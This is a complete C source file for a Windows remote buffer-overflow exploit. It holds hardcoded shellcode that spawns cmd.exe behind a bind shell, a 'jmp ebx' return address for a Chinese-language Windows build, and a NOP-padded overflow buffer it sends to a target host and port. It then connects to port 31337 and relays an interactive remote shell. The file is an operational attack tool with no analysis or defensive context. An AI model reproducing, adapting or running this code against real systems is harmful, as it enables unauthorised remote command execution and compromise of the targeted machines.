#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <io.h>
#pragma comment (lib,"ws2_32")

// jmp ebx address of chinese version
#define JUMPEBX "\x1b\x4a\xfa\x7f"

char shellcode[] =
//"\xCC"
"\xeb\x23\x7a\x69\x02\x05\x6c\x59\xf8\x1d\x9c\xde\x8c\xd1\x4c"
"\x70\xd4\x03\xf0\x27\x20\x20\x30\x08\x57\x53\x32\x5f\x33\x32"
"\x2e\x44\x4c\x4c\x01\xeb\x05\xe8\xf9\xff\xff\xff\x5d\x83\xed"
"\x2a\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c\xad\x8b"
"\x78\x08\x8d\x5f\x3c\x8b\x1b\x01\xfb\x8b\x5b\x78\x01\xfb\x8b"
"\x4b\x1c\x01\xf9\x8b\x53\x24\x01\xfa\x53\x51\x52\x8b\x5b\x20"
"\x01\xfb\x31\xc9\x41\x31\xc0\x99\x8b\x34\x8b\x01\xfe\xac\x31"
"\xc2\xd1\xe2\x84\xc0\x75\xf7\x0f\xb6\x45\x05\x8d\x44\x45\x04"
"\x66\x39\x10\x75\xe1\x66\x31\x10\x5a\x58\x5e\x56\x50\x52\x2b"
"\x4e\x10\x41\x0f\xb7\x0c\x4a\x8b\x04\x88\x01\xf8\x0f\xb6\x4d"
"\x05\x89\x44\x8d\xd8\xfe\x4d\x05\x75\xbe\xfe\x4d\x04\x74\x21"
"\xfe\x4d\x22\x8d\x5d\x18\x53\xff\xd0\x89\xc7\x6a\x04\x58\x88"
"\x45\x05\x80\x45\x77\x0a\x8d\x5d\x74\x80\x6b\x26\x14\xe9\x78"
"\xff\xff\xff\x89\xce\x31\xdb\x53\x53\x53\x53\x56\x46\x56\xff"
"\xd0\x97\x55\x58\x66\x89\x30\x6a\x10\x55\x57\xff\x55\xd4\x4e"
"\x56\x57\xff\x55\xcc\x53\x55\x57\xff\x55\xd0\x97\x8d\x45\x88"
"\x50\xff\x55\xe4\x55\x55\xff\x55\xe8\x8d\x44\x05\x0c\x94\x53"
"\x68\x2e\x65\x78\x65\x68\x5c\x63\x6d\x64\x94\x31\xd2\x8d\x45"
"\xcc\x94\x57\x57\x57\x53\x53\xfe\xc6\x01\xf2\x52\x94\x8d\x45"
"\x78\x50\x8d\x45\x88\x50\xb1\x08\x53\x53\x6a\x10\xfe\xce\x52"
"\x53\x53\x53\x55\xff\x55\xec\x6a\xff\xff\x55\xe0";


int Make_Connection(char *address,int port,int timeout)
{
    struct sockaddr_in target;
    SOCKET s;
    int i;
    DWORD bf;
    fd_set wd;
    struct timeval tv;

    s = socket(AF_INET,SOCK_STREAM,0);
    if(s<0)
        return -1;

    target.sin_family = AF_INET;
    target.sin_addr.s_addr = inet_addr(address);
    if(target.sin_addr.s_addr==0)
    {
        closesocket(s);
        return -2;
    }
    target.sin_port = htons(port);
    bf = 1;
    ioctlsocket(s,FIONBIO,&bf);
    tv.tv_sec = timeout;
    tv.tv_usec = 0;
    FD_ZERO(&wd);
    FD_SET(s,&wd);
    connect(s,(struct sockaddr *)&target,sizeof(target));
    if((i=select(s+1,0,&wd,0,&tv))==(-1))
    {
        closesocket(s);
        return -3;
    }
    if(i==0)
    {
        closesocket(s);
        return -4;
    }
    i = sizeof(int);
    getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);
    if((bf!=0)||(i!=sizeof(int)))
    {
        closesocket(s);
        return -5;
    }
    ioctlsocket(s,FIONBIO,&bf);
    return s;
}

void shell (int sock)
{
    int     l;
    char    buf[512];
    struct    timeval time;
    unsigned long    ul[2];

    time.tv_sec = 1;
    time.tv_usec = 0;

    while (1) 
    {
        ul[0] = 1;
        ul[1] = sock;

        l = select (0, (fd_set *)&ul, NULL, NULL, &time);
        if(l==1)
        {
            l = recv (sock, buf, sizeof (buf), 0);
            if (l <= 0) 
            {
                printf ("[-] Connection closed.\n");
                return;
            }
            l = write (1, buf, l);
            if (l <= 0) 
            {
                printf ("[-] Connection closed.\n");
                return;
            }
        }
        else
        {
            l = read (0, buf, sizeof (buf));
            if (l <= 0) 
            {
                printf("[-] Connection closed.\n");
                return;
            }
            l = send(sock, buf, l, 0);
            if (l <= 0) 
            {
                printf("[-] Connection closed.\n");
                return;
            }
        }
    }
}

int main(int argc, char *argv[])
{
    SOCKET  c,s;
    WSADATA WSAData;
    char Buff[0x1000];

    if (argc < 3)
    {
        fprintf(stderr, "Usage: %s remote_addr remote_port", argv[0]);
        exit(1);
    }

    if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
    {
        printf("[-] WSAStartup failed.\n");
        WSACleanup();
        exit(1);
    }

    memset(Buff, 0x90, sizeof(Buff)-1);

    strcpy(Buff+0x5C, "\xEB\x06\xEB\x06");
	strcpy(Buff+0x60, JUMPEBX);
    strcpy(Buff+0x64, shellcode);

    s = Make_Connection(argv[1], atoi(argv[2]), 10);
    if(s<0)
    {
        printf("[-] connect err.\n");
        exit(1);
    }

    send(s,Buff,sizeof(Buff),0);

    Sleep(1000);

    c = Make_Connection(argv[1], 31337, 10);
    shell(c);

    WSACleanup();
    return 1;
}
